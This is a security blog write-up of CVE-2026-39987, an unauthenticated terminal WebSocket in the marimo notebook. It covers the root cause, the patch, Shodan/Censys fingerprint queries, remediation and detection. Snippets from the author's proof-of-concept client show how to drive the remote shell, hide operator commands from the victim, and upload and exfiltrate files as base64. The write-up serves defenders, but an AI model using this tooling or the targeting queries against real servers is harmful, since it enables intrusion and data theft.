Skip to content

One WebSocket, one Shell: CVE-2026-39987 Explained

One WebSocket, one Shell: CVE-2026-39987 Explained
Jeff Tong, SquidSec

Written by

Jeff Tong

Wind0

Senior Software Engineer MCSE | MCSA

Jeff Tong is a Senior Software Engineer with industry experience in hospitality, banking, payment, and anti-fraud systems.

Full bio on the team page

CVE-2026-39987: Pre-Authentication Remote Code Execution in marimo

Severity: CVSS 4.0 9.3 (Critical) — AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H
Weakness: CWE-306 — Missing Authentication for Critical Function
Affected: marimo < 0.23.0
Fixed in: 0.23.0
Advisory: GHSA-2679-6mx9-h9xc
Proof of concept: github.com/Wind010/CVE-2026-39987_PoC

Adapted from: https://wind010.hashnode.dev/one-websocket-one-shell-cve-2026-39987-explained

Authorization notice. This analysis is published for defensive and educational purposes: patch validation, detection engineering, and authorized security testing. The proof-of-concept client is intended for systems you own or have written permission to test. Do not use it anywhere else.

Summary

Marimo is a reactive Python notebook. Its editor ships an integrated terminal so users can run shell commands alongside their cells. In versions prior to 0.23.0, the WebSocket endpoint backing that terminal — /terminal/ws — performs no authentication check.

A client that connects to wss://target/terminal/ws is attached to an interactive pseudo-terminal running as the user who launched the notebook. No credentials, no token, no exploit chain, no memory corruption. A single WebSocket upgrade request.

I encountered this while obtaining an initial foothold on a Hack The Box Season 11 machine, then reproduced and instrumented it in a lab to understand the root cause and build a usable client.

Root Cause

marimo serves multiple WebSocket endpoints from the same application. The primary session socket, /ws, defined in ws_endpoint.py, authenticates correctly on the vulnerable 0.20.x line:

@router.websocket("/ws")
async def websocket_endpoint(
    websocket: WebSocket,
) -> None:
    app_state = AppState(websocket)
    validator = WebSocketConnectionValidator(websocket, app_state)

    # Validate authentication before proceeding
    if not await validator.validate_auth():
        return
    ...

The terminal socket, /terminal/ws in terminal.py, from the same release, does not:

@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    app_state = AppState(websocket)
    if app_state.mode != SessionMode.EDIT:
        await websocket.close(
            code=1008, reason="Terminal only available in edit mode"
        )
        return

    if not supports_terminal():
        await websocket.close(
            code=1008, reason="Terminal not supported in this environment"
        )
        return

    try:
        await websocket.accept()
        LOGGER.debug("Terminal websocket accepted")
    ...
        child_pid, fd = pty.fork()

Both guards are capability checks, not authorization checks:

GuardQuestion it answers
app_state.mode != SessionMode.EDITIs the terminal feature enabled in this deployment?
supports_terminal()Can this platform allocate a PTY?

Neither establishes caller identity. There is no validate_auth() call. The handler accepts the socket and proceeds directly to pty.fork().

The notable detail is not that authentication is absent in the abstract — the codebase clearly knows how to authenticate a WebSocket and does so in the adjacent handler. It is that the terminal endpoint was written as though it inherited that check from the surrounding router, and never did. This is a recurring failure mode in applications that mount several socket endpoints under one app: authorization is enforced per-handler, so a handler added later silently opts out.

The Patch

The fix on main is the missing check:

app_state = AppState(websocket)

if app_state.enable_auth and not validate_auth(websocket):
    await websocket.close(
        WebSocketCodes.UNAUTHORIZED, WebSocketCloseReason.UNAUTHORIZED
    )
    return

Read the condition carefully: the guard is app_state.enable_auth and .... Deployments that upgrade to 0.23.0 but run with authentication disabled — a common choice for “internal only” instances — remain fully exploitable. The patch closes the vulnerability; it does not close the exposure. Both are required. See Remediation.

Impact: Why a PTY Raises the Ceiling

The endpoint does not execute a single command and return output. It calls pty.fork(), allocating a real pseudo-terminal for the child — the same primitive an SSH session uses.

The practical consequence is that an unauthenticated attacker gets an interactive TTY, not a command runner:

  • Job control and signal delivery (Ctrl+C, Ctrl+Z)
  • Shell history, tab completion, Ctrl+R
  • sudo with a working password prompt
  • ssh to adjacent hosts for lateral movement
  • Full-screen programs (editors, top, less)

Execution occurs as the account that launched the notebook. On typical data-science hosts that account holds credentials for object storage, databases, and internal APIs, so the blast radius extends well past the notebook process.

This is also why the proof of concept is a terminal client rather than a curl one-liner. There is no JSON envelope and no {"type":"exec"} message to construct — the connection carries raw bytes in both directions.

Exposure Discovery

marimo serves a stable favicon, so exposed instances fingerprint reliably.

Shodan:

http.favicon.hash:-1864630356

Censys:

services.http.response.favicons.hashes: -1864630356

Any live instance answers /api/version, which reveals immediately whether the deployment is below 0.23.0.

Run these against your own address space first. The defensive value of a fingerprint is finding your own exposed notebook before an opportunistic scanner does — and given the exploitation timeline below, scanners have already run it.

Exploitation Timeline

This vulnerability had no meaningful grace period. Sysdig’s threat research team observed first in-the-wild exploitation roughly nine and a half hours after public disclosure, with no public exploit code required — the bug is trivially reproducible from the advisory text alone. It was subsequently added to CISA’s Known Exploited Vulnerabilities catalog.

The specific figure matters less than the shape of it. For a pre-authentication RCE with a scannable fingerprint and no exploit development cost, the interval between advisory publication and compromise of unpatched hosts is measured in hours. Patch windows designed around a multi-day SLA do not apply to this class of finding.

Building a Usable Client

The vulnerability is one missing line. Turning the resulting raw byte pipe into something that behaves like a terminal was the bulk of the engineering effort, and it surfaced several problems worth documenting for anyone writing PTY-over-WebSocket tooling.

Raw mode and full-duplex I/O

A terminal is full-duplex: output can arrive mid-keystroke. The client runs two asyncio tasks over a single socket — a reader that writes inbound bytes to the screen and a writer that transmits keystrokes. The local TTY is placed in raw mode so the remote shell owns echo and line editing, and it is always restored:

old_settings = termios.tcgetattr(sys.stdin.fileno())
tty.setraw(sys.stdin.fileno())
...
finally:
    termios.tcsetattr(sys.stdin.fileno(), termios.TCSADRAIN, old_settings)

Omitting the finally block leaves the operator’s own terminal without echo after any dropped connection.

Immediate keystroke forwarding

Buffering a line locally and sending it on Enter destroys arrow-key history, tab completion, Ctrl+R, and Ctrl+C, because all of those are the remote PTY reacting to individual bytes in real time. Every byte is therefore forwarded as it is typed. That constraint drives the design of everything that follows.

Client-side commands that must not leak downrange

The client implements !upload, !download, and an interactive .upload wizard locally. Under immediate forwarding, however, the moment the operator types ! that byte has already been transmitted to the victim shell — leaving artifacts in the target’s shell history and terminal output.

The writer resolves this with a small state machine. While the line typed so far could still become a client command, characters are withheld from the socket and echoed locally so typing appears normal. Once a match is ruled out, the local echo is erased and the withheld bytes are released as a single chunk:

you type:  ! u p l o a d   ...
           └───────────────┘
           held back, echoed locally, NOT sent to remote yet

ruled out (e.g. you typed "!ls"):
           erase local echo with '\b \b' per char,
           then send the whole withheld chunk at once ──► remote pty
           (its own echo redraws the line correctly)

confirmed "!upload a b" + Enter:
           run it locally, remote never sees a thing

The implementation is a held_buffer plus a checking_trigger flag:

if checking_trigger:
    held_buffer += text_data
    ...
    could_still_match = (
        any(t.startswith(held_buffer) for t in IMMEDIATE_TRIGGERS)
        or any(t.startswith(held_buffer) or held_buffer.startswith(t) for t in LINE_TRIGGERS)
    )
    if could_still_match:
        # still might be a command hold it, but echo locally so typing looks normal
        sys.stdout.write(text_data)
        sys.stdout.flush()
        continue
    # ruled out erase our local echo and release the withheld bytes as one chunk
    erase_count = len(held_buffer) - 1
    if erase_count > 0:
        sys.stdout.write('\b \b' * erase_count)
    flushed = held_buffer
    held_buffer = ""
    await ws.send(flushed)

Backspace inside that window is handled purely locally: the withheld characters were never transmitted, so there is nothing on the remote to erase. The client pops its buffer and walks the cursor back with '\b \b' without notifying the remote.

Upload

Files are transmitted as base64 piped into base64 -d, chunked so that no single command line exceeds ARG_MAX. The destination path is passed through shlex.quote, so a space or quote character in the filename cannot break out of the command:

for i, chunk in enumerate(chunks):
    redirect = ">" if i == 0 else ">>"
    await ws.send(f"echo '{chunk}' | base64 -d {redirect} {quoted_remote_path}\n")

The first chunk truncates with >; subsequent chunks append with >>.

Download, and a PTY echo pitfall

Retrieving a file means having the remote base64-encode it between two sentinel markers and scraping the bytes in between out of the stream. The obvious implementation is subtly broken: a PTY echoes the command back before executing it. The literal text echo __DL_START__; base64 file; echo __DL_END__ appears in the stream first, so a naive marker search matches the echo rather than the command output — decoding the command instead of the file.

The fix is to suffix each marker with $$, the shell’s PID variable:

await ws.send(f"echo {start_tag}-$$; base64 {quoted_remote_path} 2>/dev/null; echo {end_tag}-$$\n")

In the echoed command text, $$ remains the literal two characters, because the shell has not expanded it yet. Only during actual execution does $$ become digits. A pattern that requires digits after the marker therefore matches the genuine output and skips the echo:

start_pattern = re.compile(re.escape(start_tag) + r"-\d+")
end_pattern   = re.compile(re.escape(end_tag) + r"-\d+")

While a transfer is in flight, the reader task stops writing to the screen and diverts the stream into a capture buffer, coordinated through a shared TransferState:

class TransferState:
    """Shared state letting writer() ask reader() to capture output instead of printing it (used by !download)."""
    def __init__(self):
        self.capturing = False
        self.buffer = ""
        self.end_pattern = None
        self.future = None

When the end marker appears, the reader resolves a future the download coroutine is awaiting, hands over the captured text, base64-decodes the slice between markers, and writes the file locally. Otherwise capturing remains False and bytes flow to the terminal unmodified.

I evaluated existing public proof-of-concept code first; none worked in my environment, so the client was written from scratch after analyzing the root cause.

Full source, including the transfer plumbing and tests: github.com/Wind010/CVE-2026-39987_PoC.

Remediation

In priority order:

  1. Upgrade to marimo ≥ 0.23.0. This is the actual patch. Do this first.
  2. Do not expose the edit server to the internet. The terminal exists only in edit mode, so a publicly reachable edit server is the underlying exposure. Bind to localhost or an internal interface and reach it through a VPN or bastion host.
  3. Enforce authentication at the proxy if you cannot upgrade immediately. A reverse proxy performing OAuth2 or mTLS in front of /terminal/ws and the remaining API routes provides interim coverage.
  4. Segment the port. Firewall the listener so only trusted ranges can reach it.
  5. Monitor for it. Alert on WebSocket upgrade requests to /terminal/ws from unexpected sources, and use the favicon queries above defensively to keep locating unmanaged instances in your own estate.

Because the patched guard is gated behind enable_auth, upgrading while running with authentication disabled still leaves an unauthenticated shell reachable by anyone who can route to the port. Patch and keep the edit server off the public internet.

Detection

Two low-cost signals worth wiring up:

  • Network: WebSocket upgrade requests (Upgrade: websocket) to the path /terminal/ws originating from outside your management range. On a legitimately internal-only deployment this should be zero.
  • Host: unexpected pty.fork() descendants of the marimo process — shells, curl/wget, or ssh parented to the notebook server — are strong post-exploitation indicators.

Closing

One missing authorization check on one WebSocket handler yields unauthenticated interactive root-equivalent access, exploited in the wild within hours of disclosure and now tracked in CISA KEV. The engineering effort in this write-up went into making the resulting shell comfortable to use; the vulnerability itself was a single absent line.

If you run marimo anywhere, check /api/version today.

References